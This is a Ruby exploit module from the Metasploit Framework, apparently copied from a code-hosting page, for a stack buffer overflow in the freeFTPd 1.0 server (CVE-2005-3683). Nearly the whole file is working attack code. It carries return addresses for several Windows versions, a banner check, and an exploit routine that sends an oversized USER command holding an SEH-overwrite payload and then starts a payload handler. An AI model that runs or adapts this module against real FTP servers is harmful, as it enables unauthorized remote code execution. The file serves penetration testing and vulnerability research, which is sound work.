105 lines
2.2 KiB
Ruby
105 lines
2.2 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Ftp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'freeFTPd 1.0 Username Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the freeFTPd
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multi-protocol file transfer service. This flaw can only be
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exploited when logging has been enabled (non-default).
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},
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'Author' => 'MC',
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2005-3683'],
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[ 'OSVDB', '20909'],
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[ 'BID', '15457'],
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[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2005-November/038808.html'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00\x20\x0a\x0d",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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[
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'Windows 2000 English ALL',
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{
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'Platform' => 'win',
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'Ret' => 0x75022ac4,
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},
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],
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[
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'Windows XP Pro SP0/SP1 English',
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{
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'Platform' => 'win',
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'Ret' => 0x71aa32ad,
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},
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],
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[
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'Windows NT SP5/SP6a English',
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{
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'Platform' => 'win',
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'Ret' => 0x776a1799,
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},
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],
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[
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'Windows 2003 Server English',
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{
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'Platform' => 'win',
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'Ret' => 0x7ffc0638,
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},
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],
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],
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'DisclosureDate' => 'Nov 16 2005'
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))
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end
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def check
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connect
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disconnect
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if (banner =~ /freeFTPd 1\.0/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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buf = rand_text_english(1816, payload_badchars)
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seh = generate_seh_payload(target.ret)
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buf[1008, seh.length] = seh
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send_cmd( ['USER', buf] , false)
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handler
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disconnect
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end
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end
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